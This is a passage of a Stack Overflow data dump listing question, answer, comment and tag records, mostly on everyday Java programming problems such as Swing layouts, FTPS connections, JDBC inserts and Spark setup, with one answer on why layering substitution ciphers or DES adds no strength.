has body: Compounding a substitution cipher (Caeser or Vigenere) does not actually improve the encryption. It just creates a different effective key. Consider a Caeser cipher (which just involves shifting the letters left or right by a given amount). If you use a key of a 1 character shift, then A becomes B, B become C and so on. A key of a 2 character shift has A become C, B become D, etc. However, if you apply them both (in whatever order), then all you've done is do twice as much work to create an effective substitution with a key of a 3 character shift... A becomes D. If you follow through the math you'll end up seeing that a Vigenere cipher has the same property. There will be a mechanism to take all your keys together and create a single substitution that goes from the crypt text to the plain text, rendering your extra work pointless. The problem is that people who are trying to attack the cipher don't care how you originally did the encryption. They only care about finding any key that produces the plaintext. So they're work will not be more difficult because you combined a key of 1 and and key of 2 to make the key 3. They're just going to be looking for the final effective key. Interestingly, the old DES algorithm has a similar property. If you encrypt something with a 56 bit DES key K1 and then encrypt it again with another 56 DES K2 key you haven't actually made it twice as secure, because there exists a 56 bit key (that is neither K1 nor K2) that will convert the encrypted text directly to the plain text, which is all an attacked needs to find. This is why a 3DES implementation actually uses a combination of encryption and decryption. the encrypted block is ciphertext = Encrypt(K3, Decrypt(K2, Encrypt(K1, plaintext))) Edit As Henry points out, my statement about double encrypting in DES is working from a false assumption
downvote count: 0
has comment: http://stackoverflow.com/comment/33836312
has comment: http://stackoverflow.com/comment/33842208
type: Answer
has comment: http://stackoverflow.com/comment/33836508
score: 2

jax-rs
tags question: http://stackoverflow.com/q/22285351
tags question: http://stackoverflow.com/q/22191060
tags question: http://stackoverflow.com/q/22257117
tags question: http://stackoverflow.com/q/22171292
tags question: http://stackoverflow.com/q/22194430
tags question: http://stackoverflow.com/q/22222808
tags question: http://stackoverflow.com/q/22280127
tags question: http://stackoverflow.com/q/22199890
tags question: http://stackoverflow.com/q/22184711
tags question: http://stackoverflow.com/q/22278764
type: Tag
tags question: http://stackoverflow.com/q/22324091
tags question: http://stackoverflow.com/q/22297830
tags question: http://stackoverflow.com/q/22180198
tags question: http://stackoverflow.com/q/22203441
tag name: jax-rs
tags question: http://stackoverflow.com/q/22230184

http://stackoverflow.com/comment/33676862
has text: [`isAssignableFrom`](http://docs.oracle.com/javase/7/docs/api/java/lang/Class.html#isAssignableFrom(java.lang.Class)) can be used to tell whether a class is "equal to or a subclass" of another, like `instanceof` but without needing an object.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22185750

http://stackoverflow.com/comment/33701778
comment on: http://stackoverflow.com/q/22200177
score: 0
type: Comment
has text: you missed the comas in the create query.
type: QuestionComment

http://stackoverflow.com/q/22182080
type: Question
has body: I know its an old question and have been asked many a times. Note :I cannot use external libraries. Given a function with label as argument, my function should return list of all the tags that contain that label. I thought of saving my html as tree and then I can find the label and return list of all the tags. But I am not able to code it in java. How to completely parse and store html as tree structure and search on it? Please help. Thanks Ravi
has comment: http://stackoverflow.com/comment/33708107
upvote count: 1
has comment: http://stackoverflow.com/comment/33670674
has title: parsing html page in java without using external library
favorite count: 0
has comment: http://stackoverflow.com/comment/33669562
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33669782
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33669673
has comment: http://stackoverflow.com/comment/33670817

http://stackoverflow.com/q/22184416
score: 0
has comment: http://stackoverflow.com/comment/33674102
has body: I'm having trouble understanding where the additinoal space comes from after I added a few components. My layout has two rows (containing some controls) at top, and a large image pane. So far, I could create my desired look using gridwidth (aka colspan). After adding two new buttons in my first row and adapting some of the gridwidths, my window became wider and I have some additional empty space of which I do not know at all where it comes from. I have already played around with the weights and some more gridwidths, but no success. Edit: I also tried to reproduce it with some minimal code, but that never showed the problem. My project is called OpenSourceCaptchaSolver, and it can be used for earning credits on captcha exchange sites. Source code and IntelliJ IDEA project files (Community edition will do) are available at sourceforge: git clone git://git.code.sf.net/p/opensourcecaptchasolver/code OpenSourceCaptchaSolver In order to make my changes reproducible, I have created two branches: stackoverflow-swing-layout-before stackoverflow-swing-layout-changed If you check out the code and switch between these branches, you can easily see what I changed and how it looks like. Normally, you need an account on 9kw.eu for runnning the program (at the moment, this is the only supported captcha exchange site). I have added a dummy account ID and commented out a few things to make it runnable without, just for looking at the layout. Of course, it is not functional this way. Main class to run is opensourcecaptchasolver.gui.Main Edit: I know that many people do not have the time to look at a large project and read all the code, but this is a rather small project and the difference between the branches I listed above is only 8 lines. As soon as I have the required 10 reputation, I will post some screenshots. Unfortunately, I don't think I can demonstrate my problem with character graphics in between ...
type: UnansweredQuestion
has title: Swing GridBagLayout - created empty space by adding components
answer count: 0
has comment: http://stackoverflow.com/comment/33674433
tagged with: java
has comment: http://stackoverflow.com/comment/33674145
tagged with: swing
has comment: http://stackoverflow.com/comment/33674752
type: Question
tagged with: gridbaglayout

http://stackoverflow.com/comment/33857121
has text: can you post your table structure and insert query ?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22285761

http://stackoverflow.com/comment/33678243
comment on: http://stackoverflow.com/a/22186225
score: 0
type: AnswerComment
has text: @user3377462 Where is you icon stored? Because it works fine for me.
type: Comment

http://stackoverflow.com/comment/33912654
has text: yes i was going to try that. If it works, it might be something wrong with my dns address?!
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22316772

http://stackoverflow.com/comment/33932942
type: Comment
type: QuestionComment
has text: What's wrong with what you did?
score: 0
comment on: http://stackoverflow.com/q/22314019

http://stackoverflow.com/comment/36658396
type: QuestionComment
score: 0
has text: And the same with JRE 1.8.0_05.
comment on: http://stackoverflow.com/q/22171509
type: Comment

http://stackoverflow.com/q/22217470
downvote count: 0
tagged with: string
tagged with: number-formatting
favorite count: 0
tagged with: integer
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22217587
has answer: http://stackoverflow.com/a/22217561
upvote count: 3
tagged with: java
has body: I want to convert a given number according to international number system. // For example: 345678 -&gt; 345,678 12 -&gt; 12 123 -&gt; 123 4590 -&gt; 4,590 Here is the code snippet and IdeOne link public static void main (String[] args) throws java.lang.Exception { int number = 345678; String s = Integer.toString(number); s = putCommas(s); } private String putCommas(String s) { // How to put commas in string after every 3rd character from right ? } Here is my approach with which I am not comfortable. Start traversing string from right If the (length - currentIndex -1) % 3 == 0 insert comma in the string Any suggestions ?
possible better answer: http://stackoverflow.com/a/22217572
has answer: http://stackoverflow.com/a/22217572
type: Question
has title: How to convert an integer according to international number system in java (Number Formatting)
accepted answer: http://stackoverflow.com/a/22217561
answer count: 3
score: 3

http://stackoverflow.com/comment/33734916
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22195063
has text: #Wyzard I can't answer my own question. Something to do with my status.
score: 0

http://stackoverflow.com/q/22297732
tagged with: swt
has comment: http://stackoverflow.com/comment/33912295
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33921234
tagged with: java
has answer: http://stackoverflow.com/a/22322043
accepted answer: http://stackoverflow.com/a/22322043
type: Question
has title: How to pass values of a selected row from tableviewer to a text box in SWT
has comment: http://stackoverflow.com/comment/33879994
score: 0
answer count: 1
has body: I have a table which has 10 rows, what I want to do is: when I click the button "modify" I want to pass the selected Table row values to respective textboxes. I tried some codes, which is not full filling my needs, MainTable.addListener(SWT.Selection, new Listener() { public void handleEvent(Event e) { String string = ""; TableItem[] selection = MainTable.getSelection(); for (int i = 0; i &lt; selection.length; i++) string += selection[i] + " "; final String Appname=string.substring(11, string.length()-2); System.out.println(Appname); } }); The above code is printing the Selected row values in the Console, I want to set those values into Textboxes. How can I do this?

http://stackoverflow.com/a/22200634
type: AcceptedAnswer
has body: You can read in array of bytes like this int bytesRead = 0; byte[] buffer = new byte[1024]; // reads up to 1024 byte chunks while((bytesRead = in.read(buffer)) != -1) { for ( int i = 0; i &lt; bytesRead; i++ ) { input += Integer.toHexString(buffer[i]); } handleInput(input); } The above code calls is the same as your old code that "input" keeps growing and used over and over again to call handleInput(). No sure if this is your intention but it looks suspicious.
type: Answer
answers question: http://stackoverflow.com/q/22199860
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22199860
has comment: http://stackoverflow.com/comment/33719672
score: 1
upvote count: 1

http://stackoverflow.com/comment/33749258
type: QuestionComment
comment on: http://stackoverflow.com/q/22226920
has text: Thanks, I added the code to the post
score: 0
type: Comment

http://stackoverflow.com/comment/33898138
comment on: http://stackoverflow.com/a/22304728
has text: The concept is the same.. `ArrayList` is much more efficient. Please try and let me know.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33931727
type: AnswerComment
comment on: http://stackoverflow.com/a/22327764
type: Comment
has text: What if the signature of isSorted function were fixed?
score: 0

http://stackoverflow.com/comment/33818511
type: QuestionComment
has text: Runtime.exec returns a Process. You can use waitFor to wait until the process exists...
type: Comment
comment on: http://stackoverflow.com/q/22263025
score: 1

http://stackoverflow.com/a/22224467
upvote count: 6
score: 6
has body: You misread that. The documentation speaks of the initial capacity. By "space", you should read "empty cell where you can put a character". The underlying array storing the characters has a given initial size (capacity) whose default is 16 and it grows automatically when needed.
answers question: http://stackoverflow.com/q/22224447
downvote count: 0
type: Answer

http://stackoverflow.com/q/22210353
has comment: http://stackoverflow.com/comment/33721137
has comment: http://stackoverflow.com/comment/33720379
has answer: http://stackoverflow.com/a/22210594
favorite count: 0
has comment: http://stackoverflow.com/comment/33720706
has comment: http://stackoverflow.com/comment/33720440
type: UnansweredQuestion
has title: Save data to mysql database in java
has comment: http://stackoverflow.com/comment/33720327
downvote count: 1
has comment: http://stackoverflow.com/comment/33720408
has comment: http://stackoverflow.com/comment/33720352
tagged with: java
has comment: http://stackoverflow.com/comment/33720663
has comment: http://stackoverflow.com/comment/33720389
tagged with: mysql
score: -1
has body: hello everyone i need your help.. i'm trying to save data to mysql database in java using netbeans IDE my source code doesn't want to run"it gives me an error that says"Java.lang.NullPointerExcepion here's my source code.. try{ String sql = "Insert into clients(username,Id_number,surname,fullname,age,diagnose) values(?,?,?,?,?,?)"; pst = conn.prepareStatement(sql); pst.setString(1, txt_surname.getText()); pst.setString(2, txt_fullname.getText()); pst.setString(3, txt_age.getText()); pst.setString(4, txt_diagnose.getText()); pst.setString(5, txt_ID.getText()); pst.setString(6, txtusername.getText()); //pst.setString(7, txt_password.getText()); pst.execute(); JOptionPane.showMessageDialog(null,"Saved"); }catch(Exception e) { JOptionPane.showMessageDialog(null,e); }
has comment: http://stackoverflow.com/comment/33720407
has comment: http://stackoverflow.com/comment/33720523
type: Question
upvote count: 0
answer count: 1

standardanalyzer
tags question: http://stackoverflow.com/q/22264936
tag name: standardanalyzer
type: Tag

http://stackoverflow.com/a/22293174
score: 1
upvote count: 1
has body: You can use String.valueOf(longValue). As per your code you have to use arrayOfString[0] = (l / i); replace with arrayOfString[0] = String.valueOf((l / i));// converts long to String
answers question: http://stackoverflow.com/q/22293120
downvote count: 0
type: Answer

http://stackoverflow.com/q/22298607
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22298727
tagged with: java
upvote count: 1
type: Question
tagged with: thread-safety
has body: i come across this article and got confused In our project in few places we are using ThreadLocal for constructing ThreadLocal variable In few other places we are constructing a new object SimpleDateFormat inside the private local method. example, private Date getConvertedDate(String Date){ SimpleDateFormat sdf = new SimpleDateFormat(); --&gt; It is thread safe or not } Could someone clarify in detail? Thanks.
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22298727
score: 1
favorite count: 0
has title: ThreadLocal variable for SimpleDateFormat (OR) new SimpleDateFormat - Correct?

http://stackoverflow.com/q/22179797
has comment: http://stackoverflow.com/comment/33665348
has title: Java JList not shown at JFrame
type: UnansweredQuestion
tagged with: jlist
answer count: 0
score: 0
tagged with: java
tagged with: swing
has comment: http://stackoverflow.com/comment/33665544
type: Question
has comment: http://stackoverflow.com/comment/33665291
has body: I've got some bug in my parser, that parses site and sets 15 elements in a JList using DefaultListModel. Also I added timer, that refreshes for some time, clears this model, fills it again and then refreshes all the frame. So bug is in that, my list is shown for a random refresh ticks: model is still filled but list is not shown at the frame (System.out.println(list.isVisible()) shows TRUE, printing model I get all 15 of my items). Some code: this is in the frame class declaration. private static DefaultListModel&lt;String&gt; listModel = new DefaultListModel&lt;&gt;(); private static JList&lt;String&gt; list = new JList&lt;&gt;(listModel); public static void execute() { //some code startTimer(activeProfile.getRefreshDelay() * 6000, activeProfile.getRefreshDelay() * 6000); show(); } public static void fillEpisodes() { int i = 0; for (String entry : Episodes.getList()) { listModel.add(i, entry); i++; } } TimerController class: public class TimerController extends TimerTask{ @Override public void run() { MainFrame.getListModel().clear(); MainFrame.fillEpisodes(); for(int i=0;i&lt;MainFrame.getListModel().size();i++){ System.out.println(MainFrame.getListModel().getElementAt(i)); } MainFrame.show(); } } Again, I want to mention that at the first startup my frame is shown perfectly, as it is even after first timer process. But after 2nd time timer processed my list contains 0, 15, 0,15 items.I tried to repaint list, to reset model, to repaint frame - no reaction.
has comment: http://stackoverflow.com/comment/33668549

http://stackoverflow.com/comment/34052569
comment on: http://stackoverflow.com/a/22265907
has text: yeah you are right.. my app is coming up with increasing number of downloads.... thanks :)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33859006
comment on: http://stackoverflow.com/q/22285761
score: 0
type: Comment
type: QuestionComment
has text: but there's no arrow, can you add the same comment in the other 'section' (I mean not under my post) to vote up.

http://stackoverflow.com/a/41492801
answers question: http://stackoverflow.com/q/22277887
has body: If your device is rooted, you can install your app as a system app by simply copying the apk into /system/app (/system/priv-app for 4.4+). This will allow you to use the "system only" permissions.
score: 0
type: Answer

http://stackoverflow.com/comment/33795834
type: AnswerComment
has text: Unfortunately, I don't have the whole code here to test by myself. But, take a look in this RecursiveAction... http://www.omsn.de/blog/how-to-parallelize-loops-with-java-7-fork-join-framework. In C, I will suggest to try openmp.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22230982

http://stackoverflow.com/a/22290162
has body: Maybe you are not including the support library to your project. Also have a look at this question Use AppCompat Library for ActionBar support
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22290100
upvote count: 1
type: Answer

http://stackoverflow.com/comment/33730467
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22188302
has text: Its working...:) the bluetooth device I was using has Bluetooth version 3.0. I needed 4.0 So I changed the device and now everything is working... Thanks Hamid.

http://stackoverflow.com/q/22269148
has answer: http://stackoverflow.com/a/22269395
tagged with: java
has comment: http://stackoverflow.com/comment/33826930
has comment: http://stackoverflow.com/comment/33826345
has comment: http://stackoverflow.com/comment/33826662
downvote count: 1
type: Question
score: -1
accepted answer: http://stackoverflow.com/a/22269395
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33826530
favorite count: 0
has body: Here is my xml code &lt;Button android:id="@+id/buttonSign" style="?android:attr/buttonStyleSmall" android:layout_width="0dp" android:layout_weight="0.166" android:text="±" android:onClick="ProcessSignInput" /&gt; Here is my java code public void ProcessSignInput(View v) { Button btn = (Button) v; if(inputText.length() &gt; 0 &amp;&amp; currentInput!="0") { if(currentInput.charAt(0) == '-') { inputText.setText(currentInput.subSequence(1, inputText.length())); } else { inputText.setText("-" + currentInput.toString()); } } } Here is the line for current input String currentInput = inputText.getText().toString(); Every thing was working perfecctly before i added these lines.Nw app just crashes can anyone explain what is causing this crash thanx in advance.
tagged with: android
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
has title: My calculator android application crashed after i added the function given below

http://stackoverflow.com/comment/33923720
type: AnswerComment
comment on: http://stackoverflow.com/a/22323561
type: Comment
has text: please Sir help me how i do this?
score: 0

http://stackoverflow.com/comment/33782216
has text: Ok I have reboot the serve and now I run it immediately it goes here ReceiverThread(DatagramSocket receivedSocketConn1) { System.out.println("Thread Received"); thereafter I am trying to make a connection on the port it I can connect it. I want to be able to receive multiple data from multipl sources
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22242217
type: Comment

http://stackoverflow.com/comment/33887560
type: Comment
comment on: http://stackoverflow.com/q/22302681
score: 0
has text: Mark your dependencies as "provided" if you require them on compile time but you don't want they go inside the EAR: http://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html
type: QuestionComment

http://stackoverflow.com/q/22270266
has comment: http://stackoverflow.com/comment/33831951
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33830042
tagged with: java
has title: Doesn't JVM need all the interface methods to be implemented?
has comment: http://stackoverflow.com/comment/33829800
type: Question
score: 4
tagged with: grails
upvote count: 4
tagged with: groovy
has answer: http://stackoverflow.com/a/22278836
has comment: http://stackoverflow.com/comment/33830008
has comment: http://stackoverflow.com/comment/33848095
has comment: http://stackoverflow.com/comment/33829889
answer count: 1
downvote count: 0
has body: I am trying groovy , so i write a sample HelloWorld Program in groovy and compiled it &amp; run it works fine, when i saw the compiled code using JAD decompiler my HelloWorld program implements a GroovyObject interface but it doesn't implemented all the methods in that interface , so it means only java compiler forces us to implemented all the method in interface but JVM does not need that. Am i right? This is decompiled groovy code : import groovy.lang.GroovyObject; import groovy.lang.MetaClass; import org.codehaus.groovy.runtime.callsite.CallSite; public class Helloworld_1 implements GroovyObject { public Helloworld_1() { Helloworld_1 this; CallSite[] arrayOfCallSite = $getCallSiteArray(); MetaClass localMetaClass = $getStaticMetaClass(); this.metaClass = localMetaClass; } public static void main(String... args){ CallSite[] arrayOfCallSite = $getCallSiteArray(); arrayOfCallSite[0].callStatic(Helloworld_1.class, "Hello World"); } static {} } Any one please help....
favorite count: 0

http://stackoverflow.com/comment/33769408
type: QuestionComment
comment on: http://stackoverflow.com/q/22201006
has text: Remember that JDBC connections are in auto-commit mode by default. Are you SURE your transaction is not committed?
score: 0
type: Comment

http://stackoverflow.com/a/22296116
answers question: http://stackoverflow.com/q/22290494
has body: I'd like to replace the DESC with some constant. Why. It is a constant, from the SQL language point of view. Nobody is going to change it. From the Java point of view, it's a pooled String literal. Java doesn't provide keywords of other languages as constants. It would be a Sisyohean task. Don't worry about it.
has comment: http://stackoverflow.com/comment/33904147
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22290494
upvote count: 1
has comment: http://stackoverflow.com/comment/33885534
score: 1

http://stackoverflow.com/q/22298067
type: Question
score: 0
tagged with: amazon-web-services
tagged with: tomcat
tagged with: connection
has body: I am getting this error on AWS server.I am using tomcat server and have 2 application deployed on it. Is this because of number of active threads issue. I restarted the server instance(which should release all the thread) but it is still giving this issue. I have increases the maxThreads value from 200 to 500 in tomcat server.xml. But it didn't help. Still I am not able to login in the system. Please help. Thanks in advance.
has title: INFO: Maximum number of threads (200) created for connector with address null and port 8080
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33885765
has comment: http://stackoverflow.com/comment/33885789
tagged with: java

http://stackoverflow.com/q/22307169
score: 3
tagged with: java
downvote count: 1
type: Question
upvote count: 4
has body: i am trying to connect to an ftp server using ssh/tls but every method i have used hasn't been helpful. FTPSClient ftpsClient = new FTPSClient("TLS", false); // log.debug("using TLS"); FTPClientConfig ftpClientConfig = new FTPClientConfig(FTPClientConfig.SYST_UNIX); ftpClientConfig.setServerLanguageCode("de"); ftpsClient.configure(ftpClientConfig); ftpsClient.addProtocolCommandListener(new PrintCommandListener(new PrintWriter(System.out))); // outputs all conversation to the console ftpsClient.connect(domain, 21); // Set protection buffer size ftpsClient.execPBSZ(0); // Set data channel protection to private ftpsClient.execPROT("P"); ftpsClient.login(username, password); ftpsClient.enterLocalPassiveMode(); ftpsClient.changeWorkingDirectory(filepath); ftpsClient.execPBSZ(0); // Set data channel protection to private ftpsClient.execPROT("P"); ftpsClient.listFiles(); ftpsClient.logout(); but i keep getting the same error- 250 CWD command successful PBSZ 0 200 PBSZ 0 successful PROT P 200 Protection set to Private PASV 227 Entering Passive Mode (188,65,181,123,23,20). LIST 150 Opening ASCII mode data connection for file list 425 Unable to build data connection: Operation not permitted TLS QUIT 221 Goodbye.
has title: ftps- unable to get data connection
answer count: 1
has answer: http://stackoverflow.com/a/22408369
favorite count: 0
tagged with: netbeans
type: UnansweredQuestion

transition
tags question: http://stackoverflow.com/q/22188008
tag name: transition
type: Tag

http://stackoverflow.com/a/22279248
downvote count: 0
has body: instead of List, just define array. You can also inject it as configuration to make it less ambiguous. Here another point to note is value-type of array. Tiger Lion
score: 15
type: Answer
upvote count: 15
answers question: http://stackoverflow.com/q/22279020

http://stackoverflow.com/a/22264801
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22264739
type: Answer
accepted answer of: http://stackoverflow.com/q/22264739
upvote count: 1
has body: At present neither of these commands return a cursor. The distinct command is an old interface and you should avoid using it in your code in favour of using aggregate instead. The aggregate command will support a cursor from the 2.6.x production release and upwards. In the future you will be able to do the same thing by passing in arguments to the creation of the cursor, but for now you cannot.
score: 1

http://stackoverflow.com/comment/33772380
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22238995
has text: Check the links on the right: **Related** - most of the answers to this question will be there.

http://stackoverflow.com/a/22324098
has comment: http://stackoverflow.com/comment/92956142
answers question: http://stackoverflow.com/q/22313892
has comment: http://stackoverflow.com/comment/92953328
has body: I found a solution to the above problem but I don't like it. I may have actually seen it mentioned somewhere else in one of the questions related to this topic. What I did was add to the android truststore the server's certificate that is signed by the CA. So now in my truststore I have TWO certificates for the server, the server's certificate signed by the CA and the CA root certificate. What I don't like is the inconsistency. On my Windows 7 PC I do not need the server's certificate signed by the CA, it is sufficient to have the CA root. I can understand the need for intermediary certificates IF the server certificate was signed by a CA that perhaps is validated by the root CA in the truststore but that intermediary CA's certificate is not in the truststore. The chain is then broken. Why I need the server certificate signed by the CA root plus the root CA on Android but only need the root CA on my PC is point of significant confusion. I take it as a typically incomplete implementation of Android. As I am finding out is the case for XML schema validation!
score: 0
type: Answer

http://stackoverflow.com/q/22271948
downvote count: 5
has comment: http://stackoverflow.com/comment/33831325
has comment: http://stackoverflow.com/comment/33831300
tagged with: class
has comment: http://stackoverflow.com/comment/33831345
answer count: 2
upvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22272096
type: AnsweredQuestion
score: -5
tagged with: instance
possible better answer: http://stackoverflow.com/a/22272259
linked to: http://stackoverflow.com/q/5915892
tagged with: java
has body: Suppose you have a java class called Chicken but the number of Chicken instances is not know before run time because it depends on user input. How do you make new instances of Chicken during run time, depending on user input?
has answer: http://stackoverflow.com/a/22272259
accepted answer: http://stackoverflow.com/a/22272096
has comment: http://stackoverflow.com/comment/33831304
type: Question
has title: java dynamic class instance creation

http://stackoverflow.com/comment/33942255
score: 0
comment on: http://stackoverflow.com/q/22306637
type: QuestionComment
type: Comment
has text: When I have a moment I'm going to try and whittle down the code a bit more to see if I can't isolate the bug a bit more clearly.

http://stackoverflow.com/comment/33774312
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22238699
has text: @ajb Oh, I have them going to a dot-matrix printer.

http://stackoverflow.com/q/22219067
favorite count: 0
has comment: http://stackoverflow.com/comment/33738279
type: Question
has comment: http://stackoverflow.com/comment/33738419
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/33737081
tagged with: java
has comment: http://stackoverflow.com/comment/33737831
has comment: http://stackoverflow.com/comment/33738576
has title: Mac OS Mavericks. JDK installer can't see JAVA_HOME
has body: Yesterday I bought a new Mac and now trying to configure on them JDK 7. Apple JDK 6 package is currently installed on this path: /Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home /usr/libexec/java_home and echo $JAVA_HOME print also this /System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home In my ˜/.bash_profile I have also export JAVA_HOME=$(/usr/libexec/java). Also I have installed JRE7. So java -version print this: java version "1.7.0_51" Java(TM) SE Runtime Environment (build 1.7.0_51-b13) Java HotSpot(TM) 64-Bit Server VM (build 24.51-b03, mixed mode) But! Now I'm trying to launch JDK7 and have this error: sudo sh Downloads/java_ee_sdk-7-jdk7-macosx-x64.sh Password: Extracting the installer archive... Extracting the installer runtime... Unable to find a $JAVA_HOME at "/usr", continuing with system-provided Java... Extracting the installer resources... Unable to find a $JAVA_HOME at "/usr", continuing with system-provided Java... Extracting the installer metadata... Unable to find a $JAVA_HOME at "/usr", continuing with system-provided Java... Welcome to GlassFish installer Using the user defined JAVA_HOME : /usr Entering setup... This is important, because if now I will start installing JDK it will not locate in /System/Library/Java/JavaVirtualMachines/ directory.
has comment: http://stackoverflow.com/comment/33738093
downvote count: 0
has comment: http://stackoverflow.com/comment/33738659
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33738170
has answer: http://stackoverflow.com/a/23815255
score: 1
tagged with: macos
has comment: http://stackoverflow.com/comment/33739290

http://stackoverflow.com/comment/33731785
type: AnswerComment
comment on: http://stackoverflow.com/a/22214968
type: Comment
has text: I'm using `final String currentUser = principal.getName();` to get the current user and passing it to the function listLocal you posted but i get this error: _org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.hibernate.QueryParameterException: Position beyond number of declared ordinal parameters. Remember that ordinal parameters are 1-based! Position: 1_
score: 0

http://stackoverflow.com/q/22185137
tagged with: playframework-2.0
has body: I am using "SecureSocial" for authentication in my project. I have an issue which have been halfly answered on stack overflow, Whenever I refresh my project (because of a file change,etc), I have to re-login. Below are the related questions: Getting logged out of securesocial on compile and on clustered servers securesocial fake log in when developing On both questions, this behaviour is blamed on the SampleUserService which is memory-based. I can understand that. In my case, I have implemented my own UserService, which persists user login information to a database (I know it because on refreshing the project I don't have to re-register and only have to log in). This is pretty annoying and time consuming while developing. To overcome this, someone provided an answer for the second question as follows: "SecureSocial by default uses the default Play cache for storing authenticators (that match the cookies to the logged in user). The default play cache is EHCache and it's configured using the ehcache.xml that you can find in the jars. The default configuration is strictly in memory which means that when the app restarts, it loses all the values. Fortunately, it's pretty easy to overwrite the EHCache configuration to write to the disk." Having said above, I have the following questions: Suppose that I leave the EHCache settings as they are, which means that in any app refresh, a new login is required. Now, suppose that you have 500,000 users (active and logged in) on 10 different machine and you want to do a rollout. Does this mean that all my 500,000 will have to log-in again? I don't think if reality is this, cause we had get logged out several times per week or month from facebook or linkedin etc,..., Can someone explain? Suppose that I do what is mentioned above (changing the default settings for EHCache). which means persisting the cache. Is this a right/good way to go in production? is it just a workaround for the problem mentioned while development and should not…
tagged with: securesocial
answer count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/9205959
tagged with: authentication
type: Question
has title: How to avoid re-login using securesocial on play framework 2?
has comment: http://stackoverflow.com/comment/33691878
tagged with: java
score: 4
upvote count: 4
downvote count: 0
linked to: http://stackoverflow.com/q/13179886
tagged with: authorization
favorite count: 0
has comment: http://stackoverflow.com/comment/33698431

http://stackoverflow.com/q/22315374
favorite count: 0
has body: Right now the connector code looks like this: // myConnector class /** * Process item * * {@sample.xml ../../../doc/my-connector.xml.sample myConnector:process} * * @param binary * the item to process * @param stuff * key value pairs for processing * * @return the status as a string * * @throws NullPointerException * when one of the parameters are null */ @Processor public String process ( @Payload final byte[] binary, final HashMap<String,String> stuff) throws NullPointerException {...} // myConnector.sample <myConnector:process> <myConnector:stuff> data1 data2 </myConnector:stuff> </myConnector:process> <!-- END_INCLUDE(myConnector:process) —> I have a HashMap stored in a session header inside my Mule flow (#[header:session:myHashMap]), but I can't figure out how to send it to the connector. --- update --- If I change the connector sample and the connector element to match I get an error when I built the connector. // myConnector.sample <myConnector:process stuff="#[stuff]"/> <!-- END_INCLUDE(myConnector:process) —> // my mule flow <myConnector:process stuff="#[sessionVars.myHashMap]"/> // the error [ERROR] Error validating example: cvc-complex-type.3.2.2: Attribute 'stuff' is not allowed to appear in element 'myConnector:process'. Failing example: <myConnector:process stuff="#[stuff]"/> [ERROR] error on execute: An error ocurred while the DevKit was generating Java code. Check the logs for further details.
has title: How do I pass a Java HashMap to a custom Mule connector?
tagged with: devkit
has comment: http://stackoverflow.com/comment/33910794
has answer: http://stackoverflow.com/a/22315662
accepted answer: http://stackoverflow.com/a/22315662
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/33911104
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33911073
type: Question
has comment: http://stackoverflow.com/comment/33910877
tagged with: mule
upvote count: 1
answer count: 1
tagged with: connector

http://stackoverflow.com/a/22306203
type: Answer
upvote count: 65
has comment: http://stackoverflow.com/comment/42643980
has comment: http://stackoverflow.com/comment/33893674
answers question: http://stackoverflow.com/q/22298192
has comment: http://stackoverflow.com/comment/33894357
has comment: http://stackoverflow.com/comment/74588144
has comment: http://stackoverflow.com/comment/42670510
has body: Combining steps from official Quick Start Guide and Launching Spark on YARN we get: We’ll create a very simple Spark application, SimpleApp.java: /*** SimpleApp.java ***/ import org.apache.spark.api.java.*; import org.apache.spark.api.java.function.Function; public class SimpleApp { public static void main(String[] args) { String logFile = "$YOUR_SPARK_HOME/README.md"; // Should be some file on your system JavaSparkContext sc = new JavaSparkContext("local", "Simple App", "$YOUR_SPARK_HOME", new String[]{"target/simple-project-1.0.jar"}); JavaRDD<String> logData = sc.textFile(logFile).cache(); long numAs = logData.filter(new Function<String, Boolean>() { public Boolean call(String s) { return s.contains("a"); } }).count(); long numBs = logData.filter(new Function<String, Boolean>() { public Boolean call(String s) { return s.contains("b"); } }).count(); System.out.println("Lines with a: " + numAs + ", lines with b: " + numBs); } } This program just counts the number of lines containing ‘a’ and the number containing ‘b’ in a text file. Note that you’ll need to replace $YOUR_SPARK_HOME with the location where Spark is installed. As with the Scala example, we initialize a SparkContext, though we use the special JavaSparkContext class to get a Java-friendly one. We also create RDDs (represented by JavaRDD) and run transformations on them. Finally, we pass functions to Spark by creating classes that extend spark.api.java.function.Function. The Java programming guide describes these differences in more detail. To build the program, we also write a Maven pom.xml file that lists Spark as a dependency. Note that Spark artifacts are tagged with a Scala version. edu.berkeley simple-project 4.0.0 